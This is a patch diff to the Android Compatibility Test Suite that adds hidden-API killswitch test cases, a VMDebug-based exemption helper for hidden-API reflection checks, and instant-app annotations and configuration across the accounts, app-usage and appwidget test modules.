+CtsHiddenApiBlacklistDebugClassTestCases
+
+CtsHiddenApiKillswitchWildcardTestCases
+CtsHiddenApiKillswitchWhitelistTestCases
+CtsHiddenApiKillswitchDebugClassTestCases
"
else
PACKAGES=${1+"$@"}
diff --git a/tests/signature/src/android/signature/cts/DexMemberChecker.java b/tests/signature/src/android/signature/cts/DexMemberChecker.java
index b72cc35..edf4201 100644
--- a/tests/signature/src/android/signature/cts/DexMemberChecker.java
+++ b/tests/signature/src/android/signature/cts/DexMemberChecker.java
@@ -19,6 +19,7 @@
import java.lang.reflect.Constructor;
import java.lang.reflect.Executable;
import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.List;
@@ -36,6 +37,40 @@
System.loadLibrary("cts_dexchecker");
}
+ private static void call_VMDebug_allowHiddenApiReflectionFrom(Class<?> klass) throws Exception {
+ Method method = null;
+
+ try {
+ Class<?> vmdebug = Class.forName("dalvik.system.VMDebug");
+ method = vmdebug.getDeclaredMethod("allowHiddenApiReflectionFrom", Class.class);
+ } catch (Exception ex) {
+ // Could not find the method. Report the problem as a RuntimeException.
+ throw new RuntimeException(ex);
+ }
+
+ try {
+ method.invoke(null, klass);
+ } catch (InvocationTargetException ex) {
+ // Rethrow the original exception.
+ Throwable cause = ex.getCause();
+ // Please the compiler's 'throws' static analysis.
+ if (cause instanceof Exception) {
+ throw (Exception) cause;
+ } else {
+ throw (Error) cause;
+ }
+ }
+ }
+
+ public static boolean requestExemptionFromHiddenApiChecks() throws Exception {
+ try {
+ call_VMDebug_allowHiddenApiReflectionFrom(DexMemberChecker.class);
+ return true;
+ } catch (SecurityException ex) {
+ return false;
+ }
+ }
+
public static void checkSingleMember(DexMember dexMember, DexMemberChecker.Observer observer) {
Class<?> klass = findClass(dexMember);
if (klass == null) {
diff --git a/tests/tests/accounts/Android.mk b/tests/tests/accounts/Android.mk
index 18ab37f..d816707 100644
--- a/tests/tests/accounts/Android.mk
+++ b/tests/tests/accounts/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- CtsAccountTestsCommon ctstestrunner
+ CtsAccountTestsCommon ctstestrunner platform-test-annotations
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
@@ -37,7 +37,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
include $(BUILD_CTS_PACKAGE)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/accounts/AndroidManifest.xml b/tests/tests/accounts/AndroidManifest.xml
index 73535bc..ec3d42d 100644
--- a/tests/tests/accounts/AndroidManifest.xml
+++ b/tests/tests/accounts/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.accounts.cts">
+ package="android.accounts.cts"
+ android:targetSandboxVersion="2">
<uses-sdk android:minSdkVersion="1"
android:targetSdkVersion="26"/>
diff --git a/tests/tests/accounts/AndroidTest.xml b/tests/tests/accounts/AndroidTest.xml
index 77118d7..e0a3ae9 100644
--- a/tests/tests/accounts/AndroidTest.xml
+++ b/tests/tests/accounts/AndroidTest.xml
@@ -16,6 +16,10 @@
<configuration description="Config for CTS Accounts test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="cmd account set-bind-instant-service-allowed true" />
+ <option name="teardown-command" value="cmd account set-bind-instant-service-allowed false" />
+ </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsUnaffiliatedAccountAuthenticators.apk" />
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
index 924b378..9428279 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
@@ -38,7 +38,7 @@
LOCAL_PACKAGE_NAME := CtsUnaffiliatedAccountAuthenticators
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/AndroidManifest.xml b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/AndroidManifest.xml
index 642b3d8..3a0b025 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/AndroidManifest.xml
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.accounts.cts.unaffiliated">
+ package="android.accounts.cts.unaffiliated"
+ android:targetSandboxVersion="2">
<uses-sdk android:minSdkVersion="1"
android:targetSdkVersion="26"/>
diff --git a/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java b/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java
index 725e7a5..1b4f873 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java
@@ -29,6 +29,7 @@
import android.content.ContentResolver;
import android.os.Bundle;
import android.os.RemoteException;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import java.io.IOException;
@@ -60,7 +61,10 @@
}
public void tearDown() throws RemoteException {
- mProviderClient.release();
+ if (mProviderClient != null) {
+ // mProviderClient is null in case of instant test
+ mProviderClient.release();
+ }
}
/**
@@ -139,6 +143,7 @@
* Tests finishSession default implementation with default startAddAccountSession.
* Only account name and account type should be returned as a bundle.
*/
+ @AppModeFull
public void testFinishSessionAndStartAddAccountSessionDefaultImpl()
throws OperationCanceledException, AuthenticatorException, IOException,
RemoteException {
@@ -208,6 +213,7 @@
* Tests finishSession default implementation with default startUpdateCredentialsSession.
* Only account name and account type should be returned as a bundle.
*/
+ @AppModeFull
public void testFinishSessionAndStartUpdateCredentialsSessionDefaultImpl()
throws OperationCanceledException, AuthenticatorException, IOException,
RemoteException {
diff --git a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
index c940c3f..4db2fd6 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
@@ -35,6 +35,7 @@
import android.os.IBinder;
import android.os.Looper;
import android.os.StrictMode;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
import android.test.ActivityInstrumentationTestCase2;
@@ -568,6 +569,7 @@
/**
* Test addAccountExplicitly(), renameAccount() and removeAccount().
*/
+ @AppModeFull(reason = "The methods are for sign-up wizards associated with authenticators.")
public void testAddAccountExplicitlyAndRemoveAccount() throws IOException,
AuthenticatorException, OperationCanceledException {
@@ -593,6 +595,7 @@
/**
* Test addAccountExplicitly(), renameAccount() and removeAccount().
*/
+ @AppModeFull(reason = "The methods are for sign-up wizards associated with authenticators.")
public void testAddAccountExplicitlyAndRemoveAccountWithNewApi() throws IOException,
AuthenticatorException, OperationCanceledException {
@@ -624,6 +627,7 @@
* Test addAccountExplicitly(), renameAccount() and removeAccount() calling
* into default implementations.
*/
+ @AppModeFull(reason = "The methods are for sign-up wizards associated with authenticators.")
public void testAddAccountExplicitlyAndRemoveAccountWithDefaultImpl() throws IOException,
AuthenticatorException, OperationCanceledException {
@@ -648,6 +652,7 @@
/**
* Test addAccountExplicitly(), renameAccount() and removeAccount().
*/
+ @AppModeFull(reason = "The methods are for sign-up wizards associated with authenticators.")
public void testAddAccountExplicitlyAndRemoveAccountWithDeprecatedApi() throws IOException,
AuthenticatorException, OperationCanceledException {
@@ -672,6 +677,7 @@
/**
* Test addAccountExplicitly() and removeAccountExplictly().
*/
+ @AppModeFull(reason = "The methods are for sign-up wizards associated with authenticators.")
public void testAddAccountExplicitlyAndRemoveAccountExplicitly() {
final int expectedAccountsCount = getAccountsCount();
@@ -694,6 +700,7 @@
/**
* Test updates to account visibility.
*/
+ @AppModeFull(reason = "The methods requires the caller to match signature with authenticator.")
public void testSetAccountVisibility()
throws IOException, AuthenticatorException, OperationCanceledException {
am.addAccountExplicitly(ACCOUNT, ACCOUNT_PASSWORD, null /* userData */);
@@ -716,6 +723,7 @@
/**
* Test updates to account visibility for authenticator package.
*/
+ @AppModeFull(reason = "The methods requires the caller to match signature with authenticator.")
public void testSetAccountVisibilityForPrivilegedPackage()
throws IOException, AuthenticatorException, OperationCanceledException {
am.addAccountExplicitly(ACCOUNT, ACCOUNT_PASSWORD, null /* userData */);
@@ -739,6 +747,7 @@
/**
* Test getPackagesAndVisibilityForAccount() method.
*/
+ @AppModeFull(reason = "The methods requires the caller to match signature with authenticator.")
public void testGetPackagesAndVisibilityForAccount()
throws IOException, AuthenticatorException, OperationCanceledException {
am.addAccountExplicitly(ACCOUNT, ACCOUNT_PASSWORD, null /* userData */);
@@ -760,6 +769,7 @@
* Test addAccountExplicitly(), setAccountVisibility() , getAccountVisibility(), and
* removeAccount().
*/
+ @AppModeFull(reason = "The methods are for sign-up wizards associated with authenticators.")
public void testAddAccountExplicitlyWithVisibility()
throws IOException, AuthenticatorException, OperationCanceledException {
Map<String, Integer> visibility = new HashMap<>();
@@ -795,6 +805,7 @@
/**
* Test testGetAccountsAndVisibilityForPackage(), getAccountsByTypeForPackage() methods.
*/
+ @AppModeFull(reason = "The methods requires the caller to match signature with authenticator.")
public void testGetAccountsAndVisibilityForPackage() {
am.addAccountExplicitly(ACCOUNT, ACCOUNT_PASSWORD, null /* userData */, null);
am.addAccountExplicitly(ACCOUNT_SAME_TYPE, ACCOUNT_PASSWORD, null /* userData */, null);
@@ -852,6 +863,7 @@
* Test checks order of accounts returned by getAccounts...().
* Accounts should be grouped by type.
*/
+ @AppModeFull(reason = "The methods requires the caller to match signature with authenticator.")
public void testGetAccountsReturnedOrder() {
Account account_1_1 = new Account("account_z", ACCOUNT_TYPE);
Account account_1_2 = new Account("account_c", ACCOUNT_TYPE);
@@ -1682,6 +1694,9 @@
/**
* Tests the setting of lastAuthenticatedTime on adding account
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testLastAuthenticatedTimeAfterAddAccount() throws IOException,
AuthenticatorException, OperationCanceledException {
assertTrue(addAccountAndReturnAccountAddedTime(ACCOUNT, ACCOUNT_PASSWORD) > 0);
@@ -1708,6 +1723,9 @@
* Tests the setting of lastAuthenticatedTime on confirmCredentials being
* successful.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testLastAuthenticatedTimeAfterConfirmCredentialsSuccess() throws IOException,
AuthenticatorException, OperationCanceledException {
@@ -1729,6 +1747,9 @@
* Tests the setting of lastAuthenticatedTime on updateCredentials being
* successful.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testLastAuthenticatedTimeAfterUpdateCredentialsSuccess() throws IOException,
AuthenticatorException, OperationCanceledException {
@@ -1747,6 +1768,7 @@
/**
* LastAuthenticatedTime on setPassword should not be disturbed.
*/
+ @AppModeFull(reason = "setPassword should be called by authenticator.")
public void testLastAuthenticatedTimeAfterSetPassword() throws IOException,
AuthenticatorException, OperationCanceledException {
long accountAddTime = addAccountAndReturnAccountAddedTime(ACCOUNT, ACCOUNT_PASSWORD);
@@ -2428,6 +2450,9 @@
* and return the final result which contains an encrypted session bundle,
* account password and status token.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testStartAddAccountSessionIntervene()
throws IOException, AuthenticatorException, OperationCanceledException {
final String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@"
@@ -2458,6 +2483,9 @@
* automatically. When no Activity is provided and authenticator requires
* additional data from user, KEY_INTENT will be returned by AccountManager.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testStartAddAccountSessionWithReturnIntent()
throws IOException, AuthenticatorException, OperationCanceledException {
final String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@"
@@ -2532,6 +2560,9 @@
* session bundle, account password and status token. Callback should be
* triggered with the result regardless of a handled is provided or not.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testStartAddAccountSessionWithCallbackAndHandlerWithIntervene()
throws IOException, AuthenticatorException, OperationCanceledException {
testStartAddAccountSessionWithCallbackAndHandlerWithIntervene(null /* handler */);
@@ -2545,6 +2576,9 @@
* additional data from user, KEY_INTENT will be returned by AccountManager
* in callback regardless of a handler is provided or not.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testStartAddAccountSessionWithCallbackAndHandlerWithReturnIntent()
throws IOException, AuthenticatorException, OperationCanceledException {
testStartAddAccountSessionWithCallbackAndHandlerWithReturnIntent(null /* handler */);
@@ -2818,6 +2852,9 @@
* and return the final result which contains an encrypted session bundle,
* account password and status token.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testStartUpdateCredentialsSessionIntervene()
throws IOException, AuthenticatorException, OperationCanceledException {
String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
@@ -2846,6 +2883,9 @@
* started automatically. When no Activity is provided and authenticator requires
* additional data from user, KEY_INTENT will be returned by AccountManager.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testStartUpdateCredentialsSessionWithReturnIntent()
throws IOException, AuthenticatorException, OperationCanceledException {
String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
@@ -2918,6 +2958,9 @@
* session bundle, account password and status token. Callback should be
* triggered with the result regardless of a handler is provided or not.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testStartUpdateCredentialsSessionWithCallbackAndHandlerWithIntervene()
throws IOException, AuthenticatorException, OperationCanceledException {
testStartUpdateCredentialsSessionWithCallbackAndHandlerWithIntervene(null /* handler */);
@@ -2931,6 +2974,9 @@
* additional data from user, KEY_INTENT will be returned by AccountManager
* in callback regardless of a handler is provided or not.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testStartUpdateCredentialsSessionWithCallbackAndHandlerWithReturnIntent()
throws IOException, AuthenticatorException, OperationCanceledException {
testStartUpdateCredentialsSessionWithCallbackAndHandlerWithReturnIntent(null /* handler */);
@@ -3626,6 +3672,9 @@
* provided by caller, the resolution intent will be started automatically.
* A bundle containing account name and type will be returned.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testFinishSessionIntervene()
throws IOException, AuthenticatorException, OperationCanceledException {
String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
@@ -3675,6 +3724,9 @@
* will not be started automatically. A bundle containing KEY_INTENT will be
* returned instead.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testFinishSessionWithReturnIntent()
throws IOException, AuthenticatorException, OperationCanceledException {
String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
@@ -3789,6 +3841,9 @@
* automatically. A bundle containing account name and type will be returned
* via the callback regardless of if handler is provided or now.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testFinishSessionWithCallbackAndHandlerWithIntervene()
throws IOException, AuthenticatorException, OperationCanceledException {
testFinishSessionWithCallbackAndHandlerWithIntervene(null /* handler */);
@@ -3803,6 +3858,9 @@
* will not be started automatically. A bundle containing KEY_INTENT will be
* returned instead via callback regardless of if handler is provided or not.
*/
+ // TODO: Either allow the system to see the activity from instant app,
+ // Or separate the authenticator and test app to allow the instant app mode test.
+ @AppModeFull
public void testFinishSessionWithCallbackAndHandlerWithReturnIntent()
throws IOException, AuthenticatorException, OperationCanceledException {
testFinishSessionWithCallbackAndHandlerWithReturnIntent(null /* handler */);
diff --git a/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java b/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java
index f9418f0..ebd6a13 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java
@@ -29,6 +29,7 @@
import android.content.ContentResolver;
import android.os.Bundle;
import android.os.RemoteException;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import java.io.IOException;
@@ -57,28 +58,11 @@
private ContentProviderClient mProviderClient;
@Override
- public void setUp() throws Exception {
+ public void setUp() {
SESSION_BUNDLE.putString(SESSION_DATA_NAME_1, SESSION_DATA_VALUE_1);
// bind to the diagnostic service and set it up.
mAccountManager = AccountManager.get(getContext());
- ContentResolver resolver = getContext().getContentResolver();
- mProviderClient = resolver.acquireContentProviderClient(
- AuthenticatorContentProvider.AUTHORITY);
- /*
- * This will install a bunch of accounts on the device
- * (see Fixtures.getFixtureAccountNames()).
- */
- mProviderClient.call(AuthenticatorContentProvider.METHOD_SETUP, null, null);
- }
-
- @Override
- public void tearDown() throws RemoteException {
- try {
- mProviderClient.call(AuthenticatorContentProvider.METHOD_TEARDOWN, null, null);
- } finally {
- mProviderClient.release();
- }
}
public void testNotifyAccountAuthenticated() {
@@ -288,8 +272,13 @@
* authenticator.
* An encrypted session bundle should always be returned without password.
*/
+ // TODO: Either allow instant app to expose content provider, or move the content provider
+ // out of the test app.
+ @AppModeFull
public void testStartAddAccountSession() throws
OperationCanceledException, AuthenticatorException, IOException, RemoteException {
+ setupAccounts();
+
String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
Bundle options = createOptionsWithAccountName(accountName);
@@ -313,6 +302,7 @@
// Validate returned data
validateSessionBundleAndPasswordAndStatusTokenResult(result);
+ resetAccounts();
}
/**
@@ -320,8 +310,13 @@
* the authenticator.
* An encrypted session bundle should always be returned without password.
*/
+ // TODO: Either allow instant app to expose content provider, or move the content provider
+ // out of the test app.
+ @AppModeFull
public void testStartUpdateCredentialsSession() throws
OperationCanceledException, AuthenticatorException, IOException, RemoteException {
+ setupAccounts();
+
String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
Bundle options = createOptionsWithAccountName(accountName);
@@ -344,6 +339,7 @@
// Validate returned data
validateSessionBundleAndPasswordAndStatusTokenResult(result);
+ resetAccounts();
}
/**
@@ -446,6 +442,25 @@
}
}
+ private void setupAccounts() throws RemoteException {
+ ContentResolver resolver = getContext().getContentResolver();
+ mProviderClient = resolver.acquireContentProviderClient(
+ AuthenticatorContentProvider.AUTHORITY);
+ /*
+ * This will install a bunch of accounts on the device
+ * (see Fixtures.getFixtureAccountNames()).
+ */
+ mProviderClient.call(AuthenticatorContentProvider.METHOD_SETUP, null, null);
+ }
+
+ private void resetAccounts() throws RemoteException {
+ try {
+ mProviderClient.call(AuthenticatorContentProvider.METHOD_TEARDOWN, null, null);
+ } finally {
+ mProviderClient.release();
+ }
+ }
+
private void validateStartAddAccountSessionParameters(Bundle inOpt)
throws RemoteException {
Bundle params = mProviderClient.call(AuthenticatorContentProvider.METHOD_GET, null, null);
@@ -488,4 +503,3 @@
result.getString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN));
}
}
-
diff --git a/tests/tests/app.usage/Android.mk b/tests/tests/app.usage/Android.mk
index 6ac0d63..eb22828 100644
--- a/tests/tests/app.usage/Android.mk
+++ b/tests/tests/app.usage/Android.mk
@@ -37,6 +37,6 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/app.usage/AndroidManifest.xml b/tests/tests/app.usage/AndroidManifest.xml
index 06cd092..9c4342f 100644
--- a/tests/tests/app.usage/AndroidManifest.xml
+++ b/tests/tests/app.usage/AndroidManifest.xml
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.app.usage.cts">
+ package="android.app.usage.cts" android:targetSandboxVersion="2">
<!-- We can't have the test framework turn off the keyguard, because that will
prevent us from testing interactions with it.
@@ -29,8 +29,9 @@
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
- <application android:usesCleartextTraffic="true">
- <uses-library android:name="android.test.runner" />
+ <application android:usesCleartextTraffic="true"
+ android:networkSecurityConfig="@xml/network_security_config">
+ <uses-library android:name="android.test.runner"/>
<activity android:name=".Activities$ActivityOne" />
<activity android:name=".Activities$ActivityTwo" />
@@ -48,4 +49,3 @@
</instrumentation>
</manifest>
-
diff --git a/tests/tests/app.usage/res/xml/network_security_config.xml b/tests/tests/app.usage/res/xml/network_security_config.xml
new file mode 100644
index 0000000..341cc7b
--- /dev/null
+++ b/tests/tests/app.usage/res/xml/network_security_config.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<network-security-config>
+ <domain-config cleartextTrafficPermitted="true">
+ <domain includeSubdomains="true">www.265.com</domain>
+ </domain-config>
+</network-security-config>
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
index d503b12..fe8cd6e 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
@@ -32,10 +32,10 @@
import android.os.ParcelFileDescriptor;
import android.os.Process;
import android.os.RemoteException;
+import android.platform.test.annotations.AppModeFull;
import android.telephony.TelephonyManager;
import android.test.InstrumentationTestCase;
import android.util.Log;
-
import com.android.compatibility.common.util.SystemUtil;
import java.io.FileInputStream;
@@ -342,6 +342,7 @@
return "";
}
+ @AppModeFull
public void testDeviceSummary() throws Exception {
for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
if (!shouldTestThisNetworkType(i, MINUTE/2)) {
@@ -376,6 +377,7 @@
}
}
+ @AppModeFull
public void testUserSummary() throws Exception {
for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
if (!shouldTestThisNetworkType(i, MINUTE/2)) {
@@ -410,6 +412,7 @@
}
}
+ @AppModeFull
public void testAppSummary() throws Exception {
for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
if (!shouldTestThisNetworkType(i, MINUTE/2)) {
@@ -474,6 +477,7 @@
}
}
+ @AppModeFull
public void testAppDetails() throws Exception {
for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
// Relatively large tolerance to accommodate for history bucket size.
@@ -516,6 +520,7 @@
}
}
+ @AppModeFull
public void testUidDetails() throws Exception {
for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
// Relatively large tolerance to accommodate for history bucket size.
@@ -568,6 +573,7 @@
}
}
+ @AppModeFull
public void testTagDetails() throws Exception {
for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
// Relatively large tolerance to accommodate for history bucket size.
@@ -673,6 +679,7 @@
bucket.getRxBytes(), bucket.getTxBytes()));
}
+ @AppModeFull
public void testUidTagStateDetails() throws Exception {
for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
// Relatively large tolerance to accommodate for history bucket size.
@@ -749,6 +756,7 @@
}
}
+ @AppModeFull
public void testCallback() throws Exception {
for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
// Relatively large tolerance to accommodate for history bucket size.
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 5c55639..a793150 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -39,6 +39,7 @@
import android.content.pm.PackageManager;
import android.os.Parcel;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
@@ -49,6 +50,7 @@
import android.util.Log;
import android.util.SparseArray;
import android.util.SparseLongArray;
+import android.view.KeyEvent;
import com.android.compatibility.common.util.AppStandbyUtils;
@@ -139,6 +141,7 @@
}
}
+ @AppModeFull // No usage events access in instant apps
@Test
public void testOrderedActivityLaunchSequenceInEventLog() throws Exception {
@SuppressWarnings("unchecked")
@@ -202,6 +205,7 @@
}
}
+ @AppModeFull // No usage events access in instant apps
@Test
public void testAppLaunchCount() throws Exception {
long endTime = System.currentTimeMillis();
@@ -228,13 +232,14 @@
assertEquals(startingCount + 2, stats.getAppLaunchCount());
}
+ @AppModeFull // No usage events access in instant apps
@Test
public void testStandbyBucketChangeLog() throws Exception {
final long startTime = System.currentTimeMillis();
mUiDevice.executeShellCommand("am set-standby-bucket " + mTargetPackage + " rare");
final long endTime = System.currentTimeMillis();
- UsageEvents events = mUsageStatsManager.queryEvents(startTime, endTime);
+ UsageEvents events = mUsageStatsManager.queryEvents(startTime - 1_000, endTime + 1_000);
boolean found = false;
// Check all the events.
@@ -382,6 +387,7 @@
assertEquals(events.hasNextEvent(), reparceledEvents.hasNextEvent());
}
+ @AppModeFull // No usage events access in instant apps
@Test
public void testPackageUsageStatsIntervals() throws Exception {
final long beforeTime = System.currentTimeMillis();
@@ -444,6 +450,7 @@
assertTrue(stats.isEmpty());
}
+ @AppModeFull // No usage events access in instant apps
@Test
public void testNotificationSeen() throws Exception {
final long startTime = System.currentTimeMillis();
@@ -733,6 +740,7 @@
}
}
+ @AppModeFull // No usage events access in instant apps
@Test
public void testInteractiveEvents() throws Exception {
final KeyguardManager kmgr = InstrumentationRegistry.getInstrumentation()
@@ -740,7 +748,7 @@
// We need to start out with the screen on.
if (!mUiDevice.isScreenOn()) {
- mUiDevice.wakeUp();
+ pressWakeUp();
SystemClock.sleep(1000);
}
@@ -761,7 +769,7 @@
SparseArray<AggrAllEventsData> baseAggr = getAggrEventData(0);
// First test -- put device to sleep and make sure we see this event.
- mUiDevice.sleep();
+ pressSleep();
// Do we have one event, going in to non-interactive mode?
events = waitForEventCount(INTERACTIVE_EVENTS, startTime, 1);
@@ -773,7 +781,7 @@
// XXX need to wait a bit so we don't accidentally trigger double-power
// to launch camera. (SHOULD FIX HOW WE WAKEUP / SLEEP TO NOT USE POWER KEY)
SystemClock.sleep(500);
- mUiDevice.wakeUp();
+ pressWakeUp();
events = waitForEventCount(INTERACTIVE_EVENTS, startTime, 2);
assertEquals(Event.SCREEN_NON_INTERACTIVE, events.get(0).getEventType());
assertEquals(Event.SCREEN_INTERACTIVE, events.get(1).getEventType());
@@ -803,7 +811,7 @@
} finally {
// Dismiss keyguard to get device back in its normal state.
- mUiDevice.wakeUp();
+ pressWakeUp();
mUiDevice.executeShellCommand("wm dismiss-keyguard");
}
}
@@ -838,4 +846,12 @@
}
fail("Should throw SecurityException");
}
+
+ private void pressWakeUp() {
+ mUiDevice.pressKeyCode(KeyEvent.KEYCODE_WAKEUP);
+ }
+
+ private void pressSleep() {
+ mUiDevice.pressKeyCode(KeyEvent.KEYCODE_SLEEP);
+ }
}
diff --git a/tests/tests/appwidget/Android.mk b/tests/tests/appwidget/Android.mk
index 4e3a218..ae33c1b 100644
--- a/tests/tests/appwidget/Android.mk
+++ b/tests/tests/appwidget/Android.mk
@@ -29,7 +29,8 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
mockito-target-minus-junit4 \
ctstestrunner \
- junit
+ junit \
+ compatibility-device-util
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
